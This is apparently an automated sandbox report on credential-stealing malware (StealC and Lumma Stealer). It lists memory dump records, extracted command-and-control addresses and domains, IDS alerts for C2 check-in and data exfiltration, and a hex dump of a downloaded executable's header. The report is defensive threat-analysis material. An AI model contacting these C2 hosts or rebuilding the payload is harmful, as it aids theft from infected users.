Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1874f8a71f9fcfbcce5fbb403d5bbdb0fb7ad5b7187d58e5dbcca23e4a0d0c38
Instruction ID: df24a63c3cb4dc54c9c8f2d894647d555c851605afb5af6d5c718edf665c6434
Opcode Fuzzy Hash: 1874f8a71f9fcfbcce5fbb403d5bbdb0fb7ad5b7187d58e5dbcca23e4a0d0c38
Instruction Fuzzy Hash: FCC09B755183058BDB002FB8D9CD35EBBD5EB0C300F540924DFC143611DB355C205647

Function 0080E88B Relevance: 1.3, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0080F560

Memory Dump Source

Source File: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e9b78b2fe250ce87f078735b2c4760d4eb1ca6883b34a6905ca2faed7c8e28c5
Instruction ID: b208e43e785fdbefa2bd364acc8065361cbee7ce4302a26461028c4cf48e50e4
Opcode Fuzzy Hash: e9b78b2fe250ce87f078735b2c4760d4eb1ca6883b34a6905ca2faed7c8e28c5
Instruction Fuzzy Hash: 9BF082B290C508CBC7526F28C9492ADBBA1FF54315F524629DAE583AD0E7320D60CA47

Function 0080E9D3 Relevance: 1.3, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0080E9DC

Memory Dump Source

Source File: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction ID: 1e8d5774639c00927f22493f5701d105b5bdd92ed0c74d3628d98b8e86be51e2
Opcode Fuzzy Hash: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction Fuzzy Hash: 36E09AB140C648AFE7456F2698C56BEBBE4FF18759F110C2DE5C4C6600E2754C50DB56

Non-executed Functions

Function 0099DB24 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction ID: 44bb03f9a04ad35a251bd148bed6c72f8a4009b0f439bdd3c00a348c3dfbcd3e
Opcode Fuzzy Hash: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction Fuzzy Hash: BEE04636118201AEDB00DF54C845A9BFBF8FF1A321F259949E888CB222C3358841CB2A

Source: YYVZHLAZ7NPNQKZ17XJO.exe.5176.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: XNtOBQ5NHr.exe.5828.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "sweepyribs.lat", "rapeflowwj.lat", "sustainskelet.lat", "aspecteirs.lat", "energyaffai.lat", "discokeyus.lat", "crosshuaht.lat", "necklacebudi.lat"], "Build id": "PsFKDg--pablo"}

Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.5:62901 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:62707 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:50834 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49710 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49708 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49704 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49705 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49719 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49732 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49774 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49732 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49719 -> 172.67.197.170:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:53:28 GMTContent-Type: application/octet-streamContent-Length: 2846208Last-Modified: Fri, 20 Dec 2024 15:44:49 GMTConnection: keep-aliveETag: "676590f1-2b6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 6a 6d 79 6d 64 64 77 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 64 67 78 75 6e 69 00 20 00 00 00 80 2b 00 00 06 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
